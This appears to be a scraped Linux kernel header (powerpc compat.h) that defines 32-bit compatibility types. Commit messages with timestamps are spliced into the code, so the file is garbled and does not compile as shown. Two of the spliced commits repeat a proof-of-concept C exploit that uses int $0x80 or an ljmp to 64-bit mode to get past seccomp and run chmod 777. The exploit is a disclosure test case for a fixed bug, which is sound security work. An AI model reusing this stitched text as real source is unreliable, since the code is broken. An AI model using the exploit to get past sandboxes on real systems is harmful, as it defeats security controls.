android_kernel_samsung_msm8976/arch/powerpc/include/asm/compat.h

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#ifndef _ASM_POWERPC_COMPAT_H
#define _ASM_POWERPC_COMPAT_H
#ifdef __KERNEL__
/*
* Architecture specific compatibility types
*/
#include <linux/types.h>
#include <linux/sched.h>
#define COMPAT_USER_HZ 100
#ifdef __BIG_ENDIAN__
#define COMPAT_UTS_MACHINE "ppc\0\0"
#else
#define COMPAT_UTS_MACHINE "ppcle\0\0"
#endif
typedef u32 compat_size_t;
typedef s32 compat_ssize_t;
typedef s32 compat_time_t;
typedef s32 compat_clock_t;
typedef s32 compat_pid_t;
typedef u32 __compat_uid_t;
typedef u32 __compat_gid_t;
typedef u32 __compat_uid32_t;
typedef u32 __compat_gid32_t;
typedef u32 compat_mode_t;
typedef u32 compat_ino_t;
typedef u32 compat_dev_t;
typedef s32 compat_off_t;
typedef s64 compat_loff_t;
typedef s16 compat_nlink_t;
typedef u16 compat_ipc_pid_t;
typedef s32 compat_daddr_t;
typedef u32 compat_caddr_t;
typedef __kernel_fsid_t compat_fsid_t;
typedef s32 compat_key_t;
typedef s32 compat_timer_t;
typedef s32 compat_int_t;
typedef s32 compat_long_t;
typedef s64 compat_s64;
typedef u32 compat_uint_t;
typedef u32 compat_ulong_t;
typedef u64 compat_u64;
typedef u32 compat_uptr_t;
struct compat_timespec {
compat_time_t tv_sec;
s32 tv_nsec;
};
struct compat_timeval {
compat_time_t tv_sec;
s32 tv_usec;
};
struct compat_stat {
compat_dev_t st_dev;
compat_ino_t st_ino;
compat_mode_t st_mode;
compat_nlink_t st_nlink;
__compat_uid32_t st_uid;
__compat_gid32_t st_gid;
compat_dev_t st_rdev;
compat_off_t st_size;
compat_off_t st_blksize;
compat_off_t st_blocks;
compat_time_t st_atime;
u32 st_atime_nsec;
compat_time_t st_mtime;
u32 st_mtime_nsec;
compat_time_t st_ctime;
u32 st_ctime_nsec;
u32 __unused4[2];
};
struct compat_flock {
short l_type;
short l_whence;
compat_off_t l_start;
compat_off_t l_len;
compat_pid_t l_pid;
};
#define F_GETLK64 12 /* using 'struct flock64' */
#define F_SETLK64 13
#define F_SETLKW64 14
struct compat_flock64 {
short l_type;
short l_whence;
compat_loff_t l_start;
compat_loff_t l_len;
compat_pid_t l_pid;
};
struct compat_statfs {
int f_type;
int f_bsize;
int f_blocks;
int f_bfree;
int f_bavail;
int f_files;
int f_ffree;
compat_fsid_t f_fsid;
int f_namelen; /* SunOS ignores this field. */
int f_frsize;
int f_flags;
int f_spare[4];
};
#define COMPAT_RLIM_OLD_INFINITY 0x7fffffff
#define COMPAT_RLIM_INFINITY 0xffffffff
typedef u32 compat_old_sigset_t;
#define _COMPAT_NSIG 64
#define _COMPAT_NSIG_BPW 32
typedef u32 compat_sigset_word;
typedef union compat_sigval {
compat_int_t sival_int;
compat_uptr_t sival_ptr;
} compat_sigval_t;
#define SI_PAD_SIZE32 (128/sizeof(int) - 3)
typedef struct compat_siginfo {
int si_signo;
int si_errno;
int si_code;
union {
int _pad[SI_PAD_SIZE32];
/* kill() */
struct {
compat_pid_t _pid; /* sender's pid */
__compat_uid_t _uid; /* sender's uid */
} _kill;
/* POSIX.1b timers */
struct {
compat_timer_t _tid; /* timer id */
int _overrun; /* overrun count */
compat_sigval_t _sigval; /* same as below */
int _sys_private; /* not to be passed to user */
} _timer;
/* POSIX.1b signals */
struct {
compat_pid_t _pid; /* sender's pid */
__compat_uid_t _uid; /* sender's uid */
compat_sigval_t _sigval;
} _rt;
/* SIGCHLD */
struct {
compat_pid_t _pid; /* which child */
__compat_uid_t _uid; /* sender's uid */
int _status; /* exit code */
compat_clock_t _utime;
compat_clock_t _stime;
} _sigchld;
/* SIGILL, SIGFPE, SIGSEGV, SIGBUS, SIGEMT */
struct {
unsigned int _addr; /* faulting insn/memory ref. */
} _sigfault;
/* SIGPOLL */
struct {
int _band; /* POLL_IN, POLL_OUT, POLL_MSG */
int _fd;
} _sigpoll;
} _sifields;
} compat_siginfo_t;
#define COMPAT_OFF_T_MAX 0x7fffffff
#define COMPAT_LOFF_T_MAX 0x7fffffffffffffffL
/*
* A pointer passed in from user mode. This should not
* be used for syscall parameters, just declare them
* as pointers because the syscall entry code will have
* appropriately converted them already.
*/
static inline void __user *compat_ptr(compat_uptr_t uptr)
{
return (void __user *)(unsigned long)uptr;
}
static inline compat_uptr_t ptr_to_compat(void __user *uptr)
{
return (u32)(unsigned long)uptr;
}
compat: Make compat_alloc_user_space() incorporate the access_ok() compat_alloc_user_space() expects the caller to independently call access_ok() to verify the returned area. A missing call could introduce problems on some architectures. This patch incorporates the access_ok() check into compat_alloc_user_space() and also adds a sanity check on the length. The existing compat_alloc_user_space() implementations are renamed arch_compat_alloc_user_space() and are used as part of the implementation of the new global function. This patch assumes NULL will cause __get_user()/__put_user() to either fail or access userspace on all architectures. This should be followed by checking the return value of compat_access_user_space() for NULL in the callers, at which time the access_ok() in the callers can also be removed. Reported-by: Ben Hawkes <hawkes@sota.gen.nz> Signed-off-by: H. Peter Anvin <hpa@linux.intel.com> Acked-by: Benjamin Herrenschmidt <benh@kernel.crashing.org> Acked-by: Chris Metcalf <cmetcalf@tilera.com> Acked-by: David S. Miller <davem@davemloft.net> Acked-by: Ingo Molnar <mingo@elte.hu> Acked-by: Thomas Gleixner <tglx@linutronix.de> Acked-by: Tony Luck <tony.luck@intel.com> Cc: Andrew Morton <akpm@linux-foundation.org> Cc: Arnd Bergmann <arnd@arndb.de> Cc: Fenghua Yu <fenghua.yu@intel.com> Cc: H. Peter Anvin <hpa@zytor.com> Cc: Heiko Carstens <heiko.carstens@de.ibm.com> Cc: Helge Deller <deller@gmx.de> Cc: James Bottomley <jejb@parisc-linux.org> Cc: Kyle McMartin <kyle@mcmartin.ca> Cc: Martin Schwidefsky <schwidefsky@de.ibm.com> Cc: Paul Mackerras <paulus@samba.org> Cc: Ralf Baechle <ralf@linux-mips.org> Cc: <stable@kernel.org>
2010-09-07 23:16:18 +00:00
static inline void __user *arch_compat_alloc_user_space(long len)
{
struct pt_regs *regs = current->thread.regs;
unsigned long usp = regs->gpr[1];
/*
* We can't access below the stack pointer in the 32bit ABI and
* can access 288 bytes in the 64bit ABI
*/
if (!is_32bit_task())
usp -= 288;
return (void __user *) (usp - len);
}
/*
* ipc64_perm is actually 32/64bit clean but since the compat layer refers to
* it we may as well define it.
*/
struct compat_ipc64_perm {
compat_key_t key;
__compat_uid_t uid;
__compat_gid_t gid;
__compat_uid_t cuid;
__compat_gid_t cgid;
compat_mode_t mode;
unsigned int seq;
unsigned int __pad2;
unsigned long __unused1; /* yes they really are 64bit pads */
unsigned long __unused2;
};
struct compat_semid64_ds {
struct compat_ipc64_perm sem_perm;
unsigned int __unused1;
compat_time_t sem_otime;
unsigned int __unused2;
compat_time_t sem_ctime;
compat_ulong_t sem_nsems;
compat_ulong_t __unused3;
compat_ulong_t __unused4;
};
struct compat_msqid64_ds {
struct compat_ipc64_perm msg_perm;
unsigned int __unused1;
compat_time_t msg_stime;
unsigned int __unused2;
compat_time_t msg_rtime;
unsigned int __unused3;
compat_time_t msg_ctime;
compat_ulong_t msg_cbytes;
compat_ulong_t msg_qnum;
compat_ulong_t msg_qbytes;
compat_pid_t msg_lspid;
compat_pid_t msg_lrpid;
compat_ulong_t __unused4;
compat_ulong_t __unused5;
};
struct compat_shmid64_ds {
struct compat_ipc64_perm shm_perm;
unsigned int __unused1;
compat_time_t shm_atime;
unsigned int __unused2;
compat_time_t shm_dtime;
unsigned int __unused3;
compat_time_t shm_ctime;
unsigned int __unused4;
compat_size_t shm_segsz;
compat_pid_t shm_cpid;
compat_pid_t shm_lpid;
compat_ulong_t shm_nattch;
compat_ulong_t __unused5;
compat_ulong_t __unused6;
};
x86-64: seccomp: fix 32/64 syscall hole On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-02-28 07:25:54 +00:00
static inline int is_compat_task(void)
{
return is_32bit_task();
x86-64: seccomp: fix 32/64 syscall hole On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-02-28 07:25:54 +00:00
}
#endif /* __KERNEL__ */
#endif /* _ASM_POWERPC_COMPAT_H */